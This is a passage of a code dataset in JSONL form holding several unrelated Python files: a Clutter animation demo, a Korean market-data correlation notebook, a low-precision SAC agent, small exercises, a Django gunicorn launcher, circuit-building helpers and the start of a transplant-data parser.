H_PADDING) * -1.0\n east = (RECTS[\"Center\"][1].get_width() + H_PADDING)\n\n do_animate(\"NorthWest\", 255, True, west, north)\n do_animate(\"North\", 255, True, None, north)\n do_animate(\"NorthEast\", 255, True, east, north)\n do_animate(\"West\", 255, True, west, None)\n do_animate(\"East\", 255, True, east, None)\n do_animate(\"SouthWest\", 255, True, west, south)\n do_animate(\"South\", 255, True, None, south)\n do_animate(\"SouthEast\", 255, True, east, south)\n\n RECTS[\"Center\"][1].animate(\n Clutter.AnimationMode.LINEAR,\n ANIM_TIME,\n \"@effects.desaturate.enabled\", True,\n \"reactive\", False\n )\n\n else:\n RECTS[\"Center\"][1].animate(\n Clutter.AnimationMode.LINEAR,\n ANIM_TIME,\n \"@effects.desaturate.enabled\", False,\n \"reactive\", True\n )\n\n for rect in RECTS.keys():\n if rect == \"Center\":\n continue\n\n do_animate(rect, 0, False, 0.0, 0.0)\n\n IS_EXPANDED = not IS_EXPANDED\n\nif __name__ == \"__main__\":\n stage = Clutter.Stage()\n\n stage.set_title(\"Constraints\")\n stage.set_user_resizable(True)\n stage.set_size(800, 600)\n stage.connect(\"destroy\", Clutter.main_quit)\n\n rect = Clutter.Rectangle()\n\n rect.set_color(Clutter.Color.from_string(RECTS[\"Center\"][0]))\n rect.set_size(RECT_SIZE, RECT_SIZE)\n rect.set_reactive(True)\n rect.set_name(\"Center\")\n rect.connect(\"button-release-event\", button_release_cb, None)\n\n x_constraint = Clutter.AlignConstraint.new(stage, Clutter.AlignAxis.X_AXIS, 0.5)\n y_constraint = Clutter.AlignConstraint.new(stage, Clutter.AlignAxis.Y_AXIS, 0.5)\n\n rect.add_constraint_with_name(\"x-align\", x_constraint)\n rect.add_constraint_with_name(\"y-align\", y_constraint)\n\n effect = Clutter.ShaderEffect()\n\n effect.set_shader_source(SHADER_SOURCE)\n effect.set_uniform_value(\"tex\", 0)\n effect.set_uniform_value(\"factor\", 0.66)\n\n rect.add_effect_with_name(\"desaturate\", effect)\n\n stage.add_actor(rect)\n\n # Keep a copy of our Center rect for later.\n RECTS[\"Center\"][1] = rect\n\n for rect_name, rect_data in RECTS.items():\n # Skip the Center rect, we've already created it.\n if rect_name == \"Center\":\n continue\n\n r = Clutter.Rectangle()\n \n r.set_color(Clutter.Color.from_string(rect_data[0]))\n r.set_opacity(0.0)\n r.set_name(rect_name)\n\n x_bind = Clutter.BindConstraint.new(rect, Clutter.BindCoordinate.X, 0.0)\n y_bind = Clutter.BindConstraint.new(rect, Clutter.BindCoordinate.Y, 0.0)\n size_bind = Clutter.BindConstraint.new(rect, Clutter.BindCoordinate.SIZE, 0.0)\n \n r.add_constraint_with_name(\"x-bind\", x_bind)\n r.add_constraint_with_name(\"y-bind\", y_bind)\n r.add_constraint_with_name(\"size-bind\", size_bind)\n r.connect(\"button-release-event\", button_release_cb, None)\n\n stage.add_actor(r)\n\n # Keep a copy of each rect for later, like Center above.\n rect_data[1] = r\n\n stage.show_all()\n\n Clutter.main()\n\n","repo_name":"stfacc/clutter-pygobject-examples","sub_path":"tests/interactive/test-constraints.py","file_name":"test-constraints.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"18803865943","text":"# %%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport locale\nlocale.setlocale(locale.LC_TIME, \"ko_KR.UTF-8\")\n\nfrom datetime import datetime\n\n# %%\nG_dax = pd.read_csv(\"DAX 내역.csv\", encoding = \"utf-8\")\nG_dax.head()\n\n# %%\ndef to_date_inv(df):\n df[\"날짜\"] = pd.to_datetime(df[\"날짜\"], format = \"%Y년 %m월 %d일\")\n df = df.sort_values(by = \"날짜\", ascending=True)\n df.set_index(\"날짜\", inplace=True)\n\n return df\n\ndef to_numeric_inv(df):\n a = []\n for d in df[\"종가\"]:\n a.append(d.replace(\",\",\"\"))\n df[\"종가\"] = a\n df[\"종가\"] = pd.to_numeric(df[\"종가\"])\n\n return df\n\n# %%\nG_dax = to_date_inv(G_dax)\nG_dax = to_numeric_inv(G_dax)\n\n#%%\ndj_metal = pd.read_csv(\"Dow Jones Commodity All Metals Capped Component 내역.csv\", encoding=\"utf-8\")\ndj_metal.head()\n\n#%%\ndj_metal = to_date_inv(dj_metal)\n#dj_metal = to_numeric_inv(dj_metal), dowJones Metal is originally numeric\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(G_dax[\"종가\"], \"-\", label = \"DAX\")\nplt.legend(\"DAX 12 years\")\n\n#%%\nplt.figure(figsize=(15,10))\nplt.plot(dj_metal[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")\n\n# %%\ncop_fu = pd.read_csv(\"구리 선물 내역.csv\", encoding=\"utf-8\")\ncop_fu = to_date_inv(cop_fu)\ncop_fu = to_numeric_inv(cop_fu)\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(cop_fu[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")\n\n# %%\ncar_fu = pd.read_csv(\"탄소배출권 선물 내역.csv\", encoding = \"utf-8\")\ncar_fu = to_date_inv(car_fu)\n#car_fu = to_numeric_inv(car_fu)\n\nplt.figure(figsize=(15,10))\nplt.plot(car_fu[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")\n\n# %%\nclose_data = pd.concat([G_dax[\"종가\"], cop_fu[\"종가\"], car_fu[\"종가\"]], axis=1)\nclose_data.columns = [\"dax\", \"coper\", \"carbon\"] \nclose_data\n# %%\nclose_data = close_data.dropna()\n# %%\nclose_data.corr()\n\n# %% 탄소배출 vs 구리\n\ncar_fu[\"종가\"].corr(cop_fu['종가'])\n# %%\ncar_fu[\"종가\"].corr(dj_metal['종가'])\n\n# %%\ninterest_10 = pd.read_csv(\"10년만기 미국채 선물 역사적 데이터.csv\", encoding=\"utf-8\")\ninterest_10 = to_date_inv(interest_10)\ninterest_10 = to_numeric_inv(interest_10)\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(car_fu[\"종가\"], \"-b\", label = \"DJM\")\nplt.plot(interest_10[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")\ncar_fu[\"종가\"].corr(interest_10[\"종가\"])\n# %%\ndj_energy = pd.read_csv(\"Dow Jones Commodity Energy 내역.csv\", encoding = \"utf-8\")\ndj_energy = to_date_inv(dj_energy)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(dj_energy[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(dj_energy[\"종가\"])\n# %%\n# %%\neur = pd.read_csv(\"EUR_KRW 내역.csv\", encoding = \"utf-8\")\neur = to_date_inv(eur)\neur = to_numeric_inv(eur)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(eur[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(eur[\"종가\"])\n# %%\nusd = pd.read_csv(\"USD_KRW 내역.csv\", encoding = \"utf-8\")\nusd = to_date_inv(usd)\nusd = to_numeric_inv(usd)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(usd[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(usd[\"종가\"])\n\n# %%\nwti = pd.read_csv(\"WTI유 선물 내역.csv\", encoding = \"utf-8\")\nwti = to_date_inv(wti)\n#|wti = to_numeric_inv(wti)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(wti[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(wti[\"종가\"])\n\n# %%\ngold = pd.read_csv(\"금 선물 내역.csv\", encoding = \"utf-8\")\ngold = to_date_inv(gold)\ngold = to_numeric_inv(gold)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(gold[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(gold[\"종가\"])\n\n# %%\ncof = pd.read_csv(\"런던 커피 선물 내역.csv\", encoding = \"utf-8\")\ncof = to_date_inv(cof)\ncof = to_numeric_inv(cof)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(cof[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"].corr(cof[\"종가\"])\n\n# %%\ncon = pd.read_csv(\"미�� 옥수수 선물 내역.csv\", encoding = \"utf-8\")\ncon = to_date_inv(con)\n#con = to_numeric_inv(con)\n\n# %%\nplt.figure(figsize=(15,10))\nplt.plot(con[\"종가\"], \"-r\", label = \"DJM\")\nplt.legend(\"DAX 12 years\")# %%\ncar_fu[\"종가\"][\"2014-07-06\":].corr(con[\"종가\"])\n# %%\n","repo_name":"kdg1993/krx_project","sub_path":"preprocess_.py","file_name":"preprocess_.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24205394012","text":"import numpy as np\nimport hydra\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\n\nfrom utils import utils\nimport quant\nfrom algs import opt, distributions, torch_utils\n\n\n\"\"\"\nSAC agent\n\"\"\"\n\n\nclass DoubleQCritic(nn.Module):\n \"\"\"\n critic, outputs two q-values\n \"\"\"\n def __init__(self, obs_dim, action_dim, hidden_dim, hidden_depth, cast_float, use_qtorch, qtorch_cfg):\n super().__init__()\n quantizer = hydra.utils.instantiate(qtorch_cfg) if use_qtorch else None\n self.Q1 = torch_utils.mlp(obs_dim + action_dim, hidden_dim, 1, hidden_depth, quantizer=quantizer)\n self.Q2 = torch_utils.mlp(obs_dim + action_dim, hidden_dim, 1, hidden_depth, quantizer=quantizer)\n self.apply(torch_utils.weight_init)\n self.in_half = False\n self.cast_float = cast_float\n\n def to_half(self):\n self.in_half = True\n self = self.half()\n\n def forward(self, obs, action):\n assert obs.size(0) == action.size(0)\n if self.in_half:\n obs = obs.half()\n action = action.half()\n else:\n obs = obs.float()\n action = action.float()\n obs_action = torch.cat([obs, action], dim=-1)\n q1 = self.Q1(obs_action)\n q2 = self.Q2(obs_action)\n return q1, q2\n\n\n\nclass DiagGaussianActor(nn.Module):\n \"\"\"\n actor, outputs a randomized policy\n \"\"\"\n def __init__(self, obs_dim, action_dim, hidden_dim, hidden_depth,\n log_std_bounds, tanh_threshold, cast_float, stable_normal, use_qtorch, qtorch_cfg):\n super().__init__()\n\n \n self.quantizer = hydra.utils.instantiate(qtorch_cfg) if use_qtorch else None\n self.log_std_bounds = log_std_bounds\n self.trunk = torch_utils.mlp(obs_dim, hidden_dim, 2 * action_dim,\n hidden_depth, quantizer=self.quantizer)\n\n self.apply(torch_utils.weight_init)\n self.tanh_threshold = tanh_threshold\n\n self.in_half = False\n self.cast_float = cast_float\n self.stable_normal = stable_normal\n\n def forward(self, obs):\n if self.in_half:\n obs = obs.half()\n\n mu, log_std = self.trunk(obs).chunk(2, dim=-1)\n\n log_std = torch.tanh(log_std)\n log_std_min, log_std_max = self.log_std_bounds\n log_std = log_std_min + 0.5 * (log_std_max - log_std_min) * (log_std + 1)\n\n if self.quantizer is not None:\n log_std = self.quantizer(log_std)\n std = log_std.exp()\n if self.quantizer is not None:\n std = self.quantizer(std)\n\n dist = distributions.SquashedNormal(mu, std, threshold=self.tanh_threshold, stable=self.stable_normal)\n action = dist.rsample()\n log_prob = dist.log_prob(action)\n\n sample, mean = dist.sample(), dist.mean\n if self.quantizer is not None:\n action, log_prob, sample, mean = map(self.quantizer, (action, log_prob, sample, mean))\n return action, log_prob, sample, mean\n\n\n def to_half(self):\n self.in_half = True\n self = self.half()\n\n\nclass SACAgent(object):\n \"\"\"\n sac agent, contains the critic and actor, and performs the optimization\n \"\"\"\n def __init__(self, obs_dim, action_dim, action_range, device, critic_cfg,\n actor_cfg, discount, init_temperature, alpha_lr, betas,\n actor_lr, actor_update_frequency, critic_lr,\n critic_tau, critic_target_update_frequency,\n batch_size, learnable_temperature, use_num_adam, crit_half, \n actor_half, use_grad_scaler, adam_eps, \n soft_update_scale, alpha_half, alpha_kahan, crit_kahan, \n nan_to_num_actions, nan_to_num_grads, \n nan_to_num_weights_bufs, mixed_prec_adam, use_grad_scaler_naive, \n use_qtorch, grad_scaler_cfg, qtorch_cfg):\n\n super().__init__()\n self.action_range = action_range\n self.device = torch.device(device)\n self.discount = discount\n self.critic_tau = critic_tau\n self.actor_update_frequency = actor_update_frequency\n self.critic_target_update_frequency = critic_target_update_frequency\n self.batch_size = batch_size\n self.learnable_temperature = learnable_temperature\n self.soft_update_scale = soft_update_scale\n\n # nan coercing\n self.nan_to_num_actions = nan_to_num_actions\n self.nan_to_num_grads = nan_to_num_grads\n self.nan_to_num_weights_bufs = nan_to_num_weights_bufs\n\n # critic\n self.critic = hydra.utils.instantiate(critic_cfg).to(self.device)\n self.critic_target = hydra.utils.instantiate(critic_cfg).to(\n self.device)\n self.critic_target_scaled = hydra.utils.instantiate(critic_cfg).to(self.device)\n self.critic_target_kahan = hydra.utils.instantiate(critic_cfg).to(self.device)\n\n\n self.critic_target.load_state_dict(self.critic.state_dict())\n self.critic_target_scaled.load_state_dict(self.critic.state_dict())\n torch_utils.scale_all_weights(self.critic_target_kahan, 0)\n if soft_update_scale is not None:\n torch_utils.scale_all_weights(self.critic_target_scaled, soft_update_scale)\n\n # actor\n self.actor = hydra.utils.instantiate(actor_cfg).to(self.device)\n\n # alpha\n self.log_alpha = torch.tensor(np.log(init_temperature)).to(self.device)\n if alpha_half:\n self.log_alpha = self.log_alpha.half()\n # qtorch only support floats\n elif use_qtorch:\n self.log_alpha = self.log_alpha.float()\n self.log_alpha.requires_grad = True\n self.target_entropy = -action_dim\n\n\n # set optim\n if use_num_adam and use_qtorch:\n optim = quant.qtorchNumAdam\n elif use_num_adam:\n optim = opt.num_Adam\n elif mixed_prec_adam:\n optim = opt.mixed_precision_Adam\n else:\n optim = opt.Adam_enable_kahan\n\n # actor optim\n self.actor_optimizer = optim(self.actor.parameters(),\n lr=actor_lr,\n betas=betas, eps=adam_eps)\n\n # crit optim\n crit_kwargs = {'lr' : critic_lr, 'betas' : betas, 'eps' : adam_eps}\n if crit_kahan:\n crit_kwargs['kahan'] = True\n self.critic_optimizer = optim(self.critic.parameters(), **crit_kwargs)\n\n # alpha optim\n alpha_kwargs = {'lr' : alpha_lr, 'betas' : betas, 'eps' : adam_eps}\n if alpha_kahan:\n alpha_kwargs['kahan'] = alpha_kahan\n self.log_alpha_optimizer = optim([self.log_alpha], **alpha_kwargs)\n\n # create grad scalers\n assert not (use_grad_scaler and use_grad_scaler_naive), 'use only one grad scaler'\n assert not (use_grad_scaler and self.nan_to_num_grads), 'cannot use both'\n self.critic_scaler = hydra.utils.instantiate(grad_scaler_cfg)\n self.actor_scaler = hydra.utils.instantiate(grad_scaler_cfg)\n self.alpha_scaler = hydra.utils.instantiate(grad_scaler_cfg)\n self.use_grad_scaler = use_grad_scaler or use_grad_scaler_naive\n\n self.train()\n self.critic_target.train()\n\n # move to half prec optionally\n if crit_half:\n self.critic.to_half()\n self.critic_target.to_half()\n self.critic_target_scaled.to_half()\n self.critic_target_kahan.to_half()\n\n if actor_half:\n self.actor.to_half()\n\n self.quantizer = hydra.utils.instantiate(qtorch_cfg) if use_qtorch else None\n # qtorch\n\n # give optimizers access to quantizer for kahan step\n if use_qtorch:\n assert use_num_adam and use_grad_scaler, 'only numadam supported'\n self.actor_optimizer.quantizer = self.quantizer\n self.critic_optimizer.quantizer = self.quantizer\n self.log_alpha_optimizer.quantizer = self.quantizer\n assert isinstance(self.critic_scaler, quant.gradScalerQtorch), 'must use qtorch gradscaler'\n self.critic_scaler.quantizer = self.quantizer\n self.actor_scaler.quantizer = self.quantizer\n self.alpha_scaler.quantizer = self.quantizer\n\n\n def train(self, training=True):\n self.training = training\n self.actor.train(training)\n self.critic.train(training)\n\n @property\n def alpha(self):\n return self.log_alpha.exp()\n\n def act(self, obs, sample=False):\n obs = torch.FloatTensor(obs).to(self.device)\n obs = obs.unsqueeze(0)\n _, _, action_sampled, dist_mean = self.actor(obs)\n action = action_sampled if sample else dist_mean\n action = action.clamp(*self.action_range)\n assert action.ndim == 2 and action.shape[0] == 1\n if self.nan_to_num_actions:\n action = torch_utils.nan_to_num(action)\n return utils.to_np(action[0])\n\n def grad_step(self, loss, optimizer, scaler):\n optimizer.zero_grad()\n if self.use_grad_scaler:\n scaler.scale(loss).backward()\n qtorch_ok = self.quantizer is None or quant.qtorch_no_inf(optimizer, self.quantizer)\n if scaler.can_step(optimizer) and qtorch_ok:\n quant.optim_step_maybe_with_qtorch(optimizer, self.quantizer) \n scaler.last_ok = scaler.last_ok and qtorch_ok\n scaler.post_step(optimizer)\n else:\n loss.backward()\n if self.nan_to_num_grads:\n torch_utils.nan_to_num_grads(optimizer)\n quant.optim_step_maybe_with_qtorch(optimizer, None)\n if self.nan_to_num_weights_bufs:\n torch_utils.nan_to_num_weights_bufs(optimizer)\n\n def update_critic(self, obs, action, reward, next_obs, not_done):\n next_action, log_prob, _, _ = self.actor(next_obs)\n log_prob = log_prob.sum(-1, keepdim=True)\n target_Q1, target_Q2 = self.critic_target(next_obs, next_action)\n target_V = torch.min(target_Q1, target_Q2) - self.alpha.detach() * log_prob\n\n # do not cast types here\n if isinstance(target_V, torch.cuda.HalfTensor):\n target_Q = reward.half() + (not_done.half() * torch.cuda.HalfTensor([self.discount]) * target_V)\n else:\n target_Q = reward + (not_done * self.discount * target_V)\n target_Q = target_Q.detach()\n\n # get current Q estimates\n current_Q1, current_Q2 = self.critic(obs, action)\n critic_loss = F.mse_loss(current_Q1, target_Q) + F.mse_loss(current_Q2, target_Q)\n\n self.grad_step(critic_loss, self.critic_optimizer, self.critic_scaler)\n\n\n def update_actor_and_alpha(self, obs):\n action, log_prob, _, _ = self.actor(obs)\n log_prob = log_prob.sum(-1, keepdim=True)\n actor_Q1, actor_Q2 = self.critic(obs, action)\n actor_Q = torch.min(actor_Q1, actor_Q2)\n actor_loss = (self.alpha.detach() * log_prob - actor_Q).mean()\n self.grad_step(actor_loss, self.actor_optimizer, self.actor_scaler)\n if self.learnable_temperature:\n alpha_loss = (self.alpha * (-log_prob - self.target_entropy).detach()).mean()\n self.grad_step(alpha_loss, self.log_alpha_optimizer, self.alpha_scaler)\n\n\n def update(self, replay_buffer, step):\n obs, action, reward, next_obs, not_done, not_done_no_max = replay_buffer.sample(self.batch_size)\n self._update(obs, action, reward, next_obs, not_done, not_done_no_max, step)\n\n\n def _update(self, obs, action, reward, next_obs, not_done, not_done_no_max, step):\n \"\"\"\n main update function\n \"\"\"\n self.update_critic(obs, action, reward, next_obs, not_done_no_max)\n\n if step % self.actor_update_frequency == 0:\n self.update_actor_and_alpha(obs)\n\n if step % self.critic_target_update_frequency == 0:\n if self.soft_update_scale is not None and self.quantizer is None:\n torch_utils.soft_update_params_kahan(self.critic, self.critic_target, self.critic_target_scaled,\n self.critic_target_kahan, self.critic_tau, self.soft_update_scale)\n elif self.soft_update_scale is not None and self.quantizer is not None:\n quant.soft_update_params_with_qtorch(self.quantizer, self.critic, self.critic_target,\n self.critic_target_scaled, self.critic_target_kahan,\n self.critic_tau, self.soft_update_scale)\n else:\n assert self.quantizer is None, 'not supported'\n torch_utils.soft_update_params(self.critic, self.critic_target, self.critic_tau)\n\n\n\n\n","repo_name":"nilsjohanbjorck/low-precision-rl","sub_path":"sac.py","file_name":"sac.py","file_ext":"py","file_size_in_byte":12747,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"24411095752","text":"from numpy import argsort\nN = input()\n\nfor n in range(int(N)):\n rows, cols = input().split()\n rows = int(rows)\n cols = int(cols)\n \n map = []\n for row in range(rows):\n INPUT = input().split()\n map.append([int(num) for num in INPUT])\n \n for row in map:\n cnt = 0\n for i in range(1,cols):\n if map[i-1] > map[i]:\n cnt += 1\n if cnt > 2:\n print(-1)\n break\n ","repo_name":"jooeun9199/PS","sub_path":"Codeforces/Round792/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20841982097","text":"def main():\n countries = ['Denmark', 'Finland', 'Iceland', 'Norway', 'Sweden']\n populations = [5615000, 5439000, 324000, 5080000, 9609000]\n fishers = [1891, 2652, 3800, 11611, 1757]\n\n total_fishers = sum(fishers)\n total_population = sum(populations)\n \n result = []\n for fisher in fishers:\n result.append(100 * fisher/total_fishers)\n \n for country, pop in zip(countries, result):\n print(\"%s %.2f%%\" % (country, pop)) # modify this to print correct results\n\nmain()\n","repo_name":"omkarsk98/building-ai","sub_path":"Chapter2/Probability/Fishing(inter).py","file_name":"Fishing(inter).py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37928176151","text":"import os\n\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = \"Run web process\"\n\n def add_arguments(self, parser):\n parser.add_argument(\"--log-level\", dest=\"log_level\", default=\"INFO\")\n parser.add_argument(\"--host\", dest=\"host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, dest=\"port\", default=\"8000\")\n\n def handle(self, host, port, log_level, **options):\n command = [\"gunicorn\", f\"-b {host}:{port}\", \"atlas.wsgi\", \"--log-file -\"]\n os.execvp(command[0], command)\n","repo_name":"getsentry/atlas","sub_path":"backend/atlas/management/commands/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"78"} +{"seq_id":"21556978725","text":"def trace(cir, start_node, trace_nodes, stop_node):\n if len(trace_nodes) == 0:\n cir[\"bars\"].append((start_node, stop_node))\n return cir\n for i in range(len(trace_nodes)):\n cir[\"nodes\"][trace_nodes[i][0]] = {\"pos\": trace_nodes[i][1]}\n\n cir[\"bars\"].append((start_node, \"nodes:\" + trace_nodes[0][0]))\n for i in range(len(trace_nodes) - 1):\n cir[\"bars\"].append(\n (\"nodes:\" + trace_nodes[i][0], \"nodes:\" + trace_nodes[i + 1][0],)\n )\n cir[\"bars\"].append((\"nodes:\" + trace_nodes[-1][0], stop_node))\n return cir\n\n\ndef bar_x(cir, pos, length, name, label=False):\n assert length > 0\n px = pos[0]\n py = pos[1]\n cir[\"nodes\"][name] = {\"pos\": pos}\n if label:\n cir[\"nodes\"][name][\"name\"] = name\n\n for i in range(length):\n posx = px + i + 1\n cir[\"nodes\"][name + \"{:02d}\".format(posx)] = {\"pos\": [px + i + 1, py]}\n\n cir[\"bars\"].append(\n (\"nodes:\" + name, \"nodes:\" + name + \"{:02d}\".format(px + 1))\n )\n\n for i in range(length - 1):\n posx = px + i + 1\n cir[\"bars\"].append(\n (\n \"nodes:\" + name + \"{:02d}\".format(posx),\n \"nodes:\" + name + \"{:02d}\".format(posx + 1),\n )\n )\n\n return cir\n\n\ndef empty_circuit():\n cir = {}\n cir[\"relays\"] = {}\n cir[\"capacitors\"] = {}\n cir[\"nodes\"] = {}\n cir[\"bars\"] = []\n cir[\"labels\"] = {}\n return cir\n\n\ndef translate(circuit, pos=[0, 0]):\n out = {}\n out[\"bars\"] = list(circuit[\"bars\"])\n\n out[\"nodes\"] = {}\n for node_key in circuit[\"nodes\"]:\n node = dict(circuit[\"nodes\"][node_key])\n node[\"pos\"][0] += pos[0]\n node[\"pos\"][1] += pos[1]\n out[\"nodes\"][node_key] = node\n\n out[\"relays\"] = {}\n for relay_key in circuit[\"relays\"]:\n relay = dict(circuit[\"relays\"][relay_key])\n relay[\"pos\"][0] += pos[0]\n relay[\"pos\"][1] += pos[1]\n out[\"relays\"][relay_key] = relay\n\n out[\"capacitors\"] = {}\n for cap_key in circuit[\"capacitors\"]:\n cap = dict(circuit[\"capacitors\"][cap_key])\n cap[\"pos\"][0] += pos[0]\n cap[\"pos\"][1] += pos[1]\n out[\"capacitors\"][cap_key] = cap\n\n return out\n\n\ndef add_group_name(circuit, name):\n out = {}\n\n out[\"relays\"] = {}\n for key in circuit[\"relays\"]:\n out_key = name + \"/\" + key\n out[\"relays\"][out_key] = dict(circuit[\"relays\"][key])\n\n out[\"capacitors\"] = {}\n for key in circuit[\"capacitors\"]:\n out_key = name + \"/\" + key\n out[\"capacitors\"][out_key] = dict(circuit[\"capacitors\"][key])\n\n out[\"nodes\"] = {}\n for key in circuit[\"nodes\"]:\n out_key = name + \"/\" + key\n out[\"nodes\"][out_key] = dict(circuit[\"nodes\"][key])\n\n out[\"bars\"] = []\n for bar in circuit[\"bars\"]:\n n0 = bar[0]\n n1 = bar[1]\n _0type = n0.split(\":\")[0]\n _0path = \"/\".join(n0.split(\":\")[1:])\n _0n = _0type + \":\" + name + \"/\" + _0path\n\n _1type = n1.split(\":\")[0]\n _1path = \"/\".join(n1.split(\":\")[1:])\n _1n = _1type + \":\" + name + \"/\" + _1path\n\n if len(bar) == 3:\n out[\"bars\"].append((_0n, _1n, bar[2]))\n else:\n out[\"bars\"].append((_0n, _1n))\n\n return out\n\n\ndef merge_circuits(circuits=[]):\n out = {}\n out[\"relays\"] = {}\n out[\"capacitors\"] = {}\n out[\"nodes\"] = {}\n out[\"bars\"] = []\n\n for circuit in circuits:\n\n for key in circuit[\"relays\"]:\n out[\"relays\"][key] = dict(circuit[\"relays\"][key])\n\n for key in circuit[\"capacitors\"]:\n out[\"capacitors\"][key] = dict(circuit[\"capacitors\"][key])\n\n for key in circuit[\"nodes\"]:\n out[\"nodes\"][key] = dict(circuit[\"nodes\"][key])\n\n for bar in circuit[\"bars\"]:\n out[\"bars\"].append(bar)\n\n return out\n","repo_name":"relleums/ripple_simulator","sub_path":"ripple_simulator/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20904331056","text":"import dataclasses\nimport json\nimport re\nfrom datetime import date\nfrom typing import List\n\nimport pandas as pd\n\nfrom txmatching.data_transfer_objects.patients.upload_dtos.donor_upload_dto import \\\n DonorUploadDTO\nfrom txmatching.data_transfer_objects.patients.upload_dtos.hla_antibodies_upload_dto import \\\n HLAAntibodiesUploadDTO\nfrom txmatching.data_transfer_objects.patients.upload_dtos.patient_upload_dto_in import \\\n PatientUploadDTOIn\nfrom txmatching.data_transfer_objects.patients.upload_dtos.recipient_upload_dto import \\\n RecipientUploadDTO\nfrom txmatching.patients.patient import DonorType\nfrom txmatching.utils.blood_groups import BloodGroup\nfrom txmatching.utils.country_enum import Country\nfrom txmatching.utils.get_absolute_path import get_absolute_path\n\nHLA_DATA = get_absolute_path(f'local_testing_utilities/notebooks/italian_data/hla.csv')\nPAIRS = get_absolute_path(f'local_testing_utilities/notebooks/italian_data/pairs.csv')\n\nDEFAULT_MFI = 2000\nDEFAULT_CUTOFF = 1500\n\nITALIAN_DATA_FOLDER = get_absolute_path('tests/resources/italian_data/')\nTXM_EVENT_NAME = 'ITALIAN_DATA'\n\n\n# acceptable_blood_groups = {'0': [BloodGroup.ZERO],\n# 'A': [BloodGroup.A, BloodGroup.ZERO],\n# 'B': [BloodGroup.B, BloodGroup.ZERO],\n# 'AB': [BloodGroup.A, BloodGroup.AB, BloodGroup.B, BloodGroup.ZERO]}\n\ndef store_italian_data_in_json():\n parsed_patients = parse_italian_data()\n with open(f'{ITALIAN_DATA_FOLDER}{TXM_EVENT_NAME}_{parsed_patients.country}.json', 'w',\n encoding='utf-8') as f:\n json.dump(dataclasses.asdict(parsed_patients), f)\n\n\ndef parse_italian_data() -> PatientUploadDTOIn:\n df = pd.read_csv(HLA_DATA)\n\n donor_antigens_str = {}\n recipient_antigens_str = {}\n recipient_antibodies_str = {}\n\n for _, row in df.iterrows():\n if pd.isnull(row[1]):\n donor_antigens_str[row[0]] = ''\n else:\n donor_antigens_str[row[0]] = row[1]\n if pd.isnull(row[2]):\n recipient_antigens_str[row[0]] = ''\n else:\n recipient_antigens_str[row[0]] = row[2]\n if pd.isnull(row[3]):\n recipient_antibodies_str[row[0]] = ''\n else:\n recipient_antibodies_str[row[0]] = row[3]\n\n df = pd.read_csv(PAIRS)\n\n # 0 1 2 3 4 5 6 7\n # Pair ID,Donor ID,Donor blood type,Donor age,Recipient ID,Recipient blood type,Recipient age,Acceptable blood type\n\n donors = []\n recipients = []\n\n for _, row in df.iterrows():\n donor_blood_group = row[2] if not pd.isnull(row[2]) else '0'\n recipient_blood_group = row[5] if not pd.isnull(row[5]) else 'AB'\n acceptable_blood_groups_split = row[7].split('|')\n acceptable_blood_groups = [BloodGroup(blood_group) for blood_group in acceptable_blood_groups_split]\n\n donors.append(\n DonorUploadDTO(\n medical_id=str(row[0]) + '_DONOR',\n blood_group=BloodGroup(donor_blood_group),\n hla_typing=_parse_hla(donor_antigens_str[row[0]]),\n donor_type=DonorType.DONOR, # todo\n # TODO: toto treba prerobit, skaredo zatial poriesene\n year_of_birth=date.today().year - int(row[3]),\n related_recipient_medical_id=str(row[0]) + '_RECIPIENT' # todo\n )\n )\n recipients.append(\n RecipientUploadDTO(\n acceptable_blood_groups=acceptable_blood_groups,\n medical_id=str(row[0]) + '_RECIPIENT',\n blood_group=BloodGroup(recipient_blood_group),\n hla_typing=_parse_hla(recipient_antigens_str[row[0]]),\n # TODO: toto treba prerobit, skaredo zatial poriesene\n year_of_birth=date.today().year - int(row[6]),\n 